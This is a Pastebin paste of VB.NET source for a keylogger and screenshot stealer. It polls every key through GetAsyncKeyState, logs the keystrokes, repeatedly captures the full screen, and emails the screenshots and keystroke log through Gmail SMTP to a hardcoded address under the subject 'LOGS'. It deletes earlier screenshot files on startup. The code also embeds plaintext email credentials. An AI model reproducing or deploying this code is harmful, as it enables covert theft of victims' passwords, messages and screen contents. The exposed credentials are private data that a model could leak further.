MarkoMirkov18

Screenshoter svakih x minuta

Jan 21st, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.69 KB | None | 0 0
  1. Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
  2.  
  3. Public Class Form1
  4. Dim result As Integer
  5. Dim strin As String = Nothing
  6. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  7. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  8.  
  9. Public Function GetCapslock() As Boolean
  10. ' Return Or Set the Capslock toggle.
  11.  
  12. GetCapslock = CBool(GetKeyState(&H14) And 1)
  13.  
  14. End Function
  15.  
  16. Public Function GetShift() As Boolean
  17.  
  18. ' Return Or Set the Capslock toggle.
  19.  
  20. GetShift = CBool(GetAsyncKeyState(&H10))
  21.  
  22. End Function
  23.  
  24.  
  25.  
  26. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  27. For i As Integer = 1 To 225
  28. result = 0
  29. result = GetAsyncKeyState(i)
  30. If result = -32767 Then
  31. If GetCapslock() = True And GetShift() = True Then
  32. Select Case (i)
  33. Case 192
  34. TextBox1.Text = TextBox1.Text + "~"
  35. Case 1
  36. 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  37. Case 64 To 90
  38. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  39. Case 97 To 122
  40. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  41. Case 32
  42. TextBox1.Text = TextBox1.Text + " "
  43. Case 48
  44. TextBox1.Text = TextBox1.Text + ")"
  45. Case 49
  46. TextBox1.Text = TextBox1.Text + "!"
  47. Case 50
  48. TextBox1.Text = TextBox1.Text + "@"
  49. Case 51
  50. TextBox1.Text = TextBox1.Text + "#"
  51. Case 52
  52. TextBox1.Text = TextBox1.Text + "$"
  53. Case 53
  54. TextBox1.Text = TextBox1.Text + "%"
  55. Case 54
  56. TextBox1.Text = TextBox1.Text + "^"
  57. Case 55
  58. TextBox1.Text = TextBox1.Text + "&"
  59. Case 56
  60. TextBox1.Text = TextBox1.Text + "*"
  61. Case 57
  62. TextBox1.Text = TextBox1.Text + "("
  63. Case 8
  64. TextBox1.Text = TextBox1.Text + ""
  65. Case 46
  66. TextBox1.Text = TextBox1.Text + "[Del]"
  67. Case 190
  68. TextBox1.Text = TextBox1.Text + ">"
  69. Case 16
  70. Case 160 To 165
  71. Case 17
  72. TextBox1.Text = TextBox1.Text + ""
  73. Case 18
  74. TextBox1.Text = TextBox1.Text + ""
  75. Case 189
  76. TextBox1.Text = TextBox1.Text + "_"
  77. Case 187
  78. TextBox1.Text = TextBox1.Text + "+"
  79. Case 219
  80. TextBox1.Text = TextBox1.Text + "{"
  81. Case 221
  82. TextBox1.Text = TextBox1.Text + "}"
  83. Case 186
  84. TextBox1.Text = TextBox1.Text + ":"
  85. Case 222
  86. TextBox1.Text = TextBox1.Text + """"
  87. Case 188
  88. TextBox1.Text = TextBox1.Text + "<"
  89. Case 191
  90. TextBox1.Text = TextBox1.Text + "?"
  91. Case 220
  92. TextBox1.Text = TextBox1.Text + "|"
  93. Case 13
  94. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  95. Case 20
  96. Case 91 'windows key
  97.  
  98. Case 2
  99. TextBox1.Text = TextBox1.Text + " [PPM]"
  100. Case 37 To 40
  101. Case Else
  102. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  103. End Select
  104. End If
  105. If GetCapslock() = True And GetShift() = False Then
  106. Select Case (i)
  107. Case 91 'windows key
  108. Case 1
  109. 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  110. Case 64 To 90
  111. TextBox1.Text = TextBox1.Text + Chr(i)
  112. Case 97 To 122
  113. TextBox1.Text = TextBox1.Text + Chr(i)
  114. Case 32
  115. TextBox1.Text = TextBox1.Text + " "
  116. Case 48 To 57
  117. TextBox1.Text = TextBox1.Text + Chr(i)
  118. Case 8
  119. TextBox1.Text = TextBox1.Text + ""
  120. Case 46
  121. TextBox1.Text = TextBox1.Text + "[Del]"
  122. Case 190
  123. TextBox1.Text = TextBox1.Text + "."
  124. Case 16
  125. Case 160 To 165
  126. Case 20
  127. Case 192
  128. TextBox1.Text = TextBox1.Text + "`"
  129. Case 189
  130. TextBox1.Text = TextBox1.Text + "-"
  131. Case 187
  132. TextBox1.Text = TextBox1.Text + "="
  133.  
  134. Case 219
  135. TextBox1.Text = TextBox1.Text + "["
  136. Case 221
  137. TextBox1.Text = TextBox1.Text + "]"
  138. Case 186
  139. TextBox1.Text = TextBox1.Text + ";"
  140. Case 222
  141. TextBox1.Text = TextBox1.Text + "'"
  142. Case 188
  143. TextBox1.Text = TextBox1.Text + ","
  144. Case 191
  145. TextBox1.Text = TextBox1.Text + "/"
  146. Case 220
  147. TextBox1.Text = TextBox1.Text + "\"
  148. Case 17
  149. TextBox1.Text = TextBox1.Text + ""
  150. Case 18
  151. TextBox1.Text = TextBox1.Text + ""
  152. Case 13
  153. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  154.  
  155. Case 2
  156. TextBox1.Text = TextBox1.Text + " [PPM]"
  157. Case 37 To 40
  158. Case Else
  159. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  160. End Select
  161. End If
  162. If GetCapslock() = False And GetShift() = True Then
  163. Select Case (i)
  164. Case 91 'windows key
  165. Case 192
  166. TextBox1.Text = TextBox1.Text + "~"
  167. Case 1
  168. ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  169. Case 64 To 90
  170. TextBox1.Text = TextBox1.Text + Chr(i)
  171. Case 97 To 122
  172. TextBox1.Text = TextBox1.Text + Chr(i)
  173. Case 32
  174. TextBox1.Text = TextBox1.Text + " "
  175. Case 48
  176. TextBox1.Text = TextBox1.Text + ")"
  177. Case 49
  178. TextBox1.Text = TextBox1.Text + "!"
  179. Case 50
  180. TextBox1.Text = TextBox1.Text + "@"
  181. Case 51
  182. TextBox1.Text = TextBox1.Text + "#"
  183. Case 52
  184. TextBox1.Text = TextBox1.Text + "$"
  185. Case 53
  186. TextBox1.Text = TextBox1.Text + "%"
  187. Case 54
  188. TextBox1.Text = TextBox1.Text + "^"
  189. Case 55
  190. TextBox1.Text = TextBox1.Text + "&"
  191. Case 56
  192. TextBox1.Text = TextBox1.Text + "*"
  193. Case 57
  194. TextBox1.Text = TextBox1.Text + "("
  195. Case 8
  196. TextBox1.Text = TextBox1.Text + " [<-] "
  197. Case 46
  198. TextBox1.Text = TextBox1.Text + "[Del]"
  199. Case 190
  200. TextBox1.Text = TextBox1.Text + ">"
  201. Case 16
  202. Case 160 To 165
  203. Case 17
  204. TextBox1.Text = TextBox1.Text + ""
  205. Case 18
  206. TextBox1.Text = TextBox1.Text + ""
  207. Case 189
  208. TextBox1.Text = TextBox1.Text + "_"
  209. Case 187
  210. TextBox1.Text = TextBox1.Text + "+"
  211. Case 219
  212. TextBox1.Text = TextBox1.Text + "{"
  213. Case 221
  214. TextBox1.Text = TextBox1.Text + "}"
  215. Case 186
  216. TextBox1.Text = TextBox1.Text + ":"
  217. Case 222
  218. TextBox1.Text = TextBox1.Text + """"
  219. Case 188
  220. TextBox1.Text = TextBox1.Text + "<"
  221. Case 191
  222. TextBox1.Text = TextBox1.Text + "?"
  223. Case 220
  224. TextBox1.Text = TextBox1.Text + "|"
  225. Case 13
  226. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  227.  
  228. Case 20
  229. Case 2
  230. TextBox1.Text = TextBox1.Text + " [PPM]"
  231. Case 37 To 40
  232. Case Else
  233. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  234. End Select
  235. End If
  236. If GetCapslock() = False And GetShift() = False Then
  237. Select Case (i)
  238. Case 1
  239. ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  240. Case 64 To 90
  241. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  242. Case 97 To 122
  243. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  244. Case 32
  245. TextBox1.Text = TextBox1.Text + " "
  246. Case 48 To 57
  247. TextBox1.Text = TextBox1.Text + Chr(i)
  248. Case 8
  249. TextBox1.Text = TextBox1.Text + " [<-] "
  250. Case 46
  251. TextBox1.Text = TextBox1.Text + "[Del]"
  252. Case 190
  253. TextBox1.Text = TextBox1.Text + "."
  254. Case 16
  255. Case 160 To 165
  256. Case 20
  257. Case 192
  258. TextBox1.Text = TextBox1.Text + "`"
  259. Case 189
  260. TextBox1.Text = TextBox1.Text + "-"
  261. Case 187
  262. TextBox1.Text = TextBox1.Text + "="
  263. Case 91 'windows key
  264. Case 219
  265. TextBox1.Text = TextBox1.Text + "["
  266. Case 221
  267. TextBox1.Text = TextBox1.Text + "]"
  268. Case 186
  269. TextBox1.Text = TextBox1.Text + ";"
  270. Case 222
  271. TextBox1.Text = TextBox1.Text + "'"
  272. Case 188
  273. TextBox1.Text = TextBox1.Text + ","
  274. Case 191
  275. TextBox1.Text = TextBox1.Text + "/"
  276. Case 220
  277. TextBox1.Text = TextBox1.Text + "\"
  278. Case 17
  279. TextBox1.Text = TextBox1.Text + ""
  280. Case 18
  281. TextBox1.Text = TextBox1.Text + ""
  282. Case 13
  283. TextBox1.Text = TextBox1.Text + " [Enter] " + vbNewLine
  284.  
  285. Case 2
  286. TextBox1.Text = TextBox1.Text + " [PPM]"
  287. Case 37 To 40
  288.  
  289. Case Else
  290. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  291. End Select
  292. End If
  293.  
  294. End If
  295. Next i
  296.  
  297. End Sub
  298.  
  299.  
  300.  
  301. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  302. Try
  303. For Each foundFile As String In My.Computer.FileSystem.GetFiles(
  304. My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData,
  305. Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly, "*.bmp")
  306.  
  307. System.IO.File.Delete(foundFile)
  308. Next
  309.  
  310.  
  311.  
  312.  
  313. Catch
  314.  
  315. End Try
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. End Sub
  323.  
  324. Private Sub SendMail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendMail.Tick
  325. sendmail2()
  326. End Sub
  327.  
  328.  
  329. Private Sub sendmail2()
  330.  
  331. Try
  332.  
  333. PictureBox2.Image = Nothing
  334. Label3.Text = Val(Label3.Text) + 1
  335.  
  336.  
  337. Dim bounds As Rectangle
  338. Dim screenshot As System.Drawing.Bitmap
  339. Dim graph As Graphics
  340. bounds = Screen.PrimaryScreen.Bounds
  341. screenshot = New Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  342. graph = Graphics.FromImage(screenshot)
  343. graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  344. PictureBox2.Image = screenshot
  345.  
  346.  
  347.  
  348.  
  349.  
  350. PictureBox2.Image.Save(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label3.Text & ".bmp"))
  351. PictureBox2.Image = Nothing
  352. Dim startupPath As String = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
  353. Dim Mail As New MailMessage
  354. Dim attach As New Attachment(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label3.Text & ".bmp"))
  355.  
  356. Mail.Attachments.Add(attach)
  357.  
  358. Mail.Subject = "LOGS"
  359. Mail.To.Add("mmirkov2706@gmail.com")
  360. Mail.From = New MailAddress("testemail27062001@gmail.com")
  361. Mail.Body = TextBox1.Text
  362.  
  363.  
  364.  
  365. Dim SMTP As New SmtpClient("smtp.gmail.com")
  366. SMTP.EnableSsl = True
  367. SMTP.Credentials = New System.Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
  368. SMTP.Port = "587"
  369.  
  370. SMTP.Send(Mail)
  371.  
  372. Catch
  373. End Try
  374. End Sub
  375. End Class
Add Comment
Please, Sign In to add comment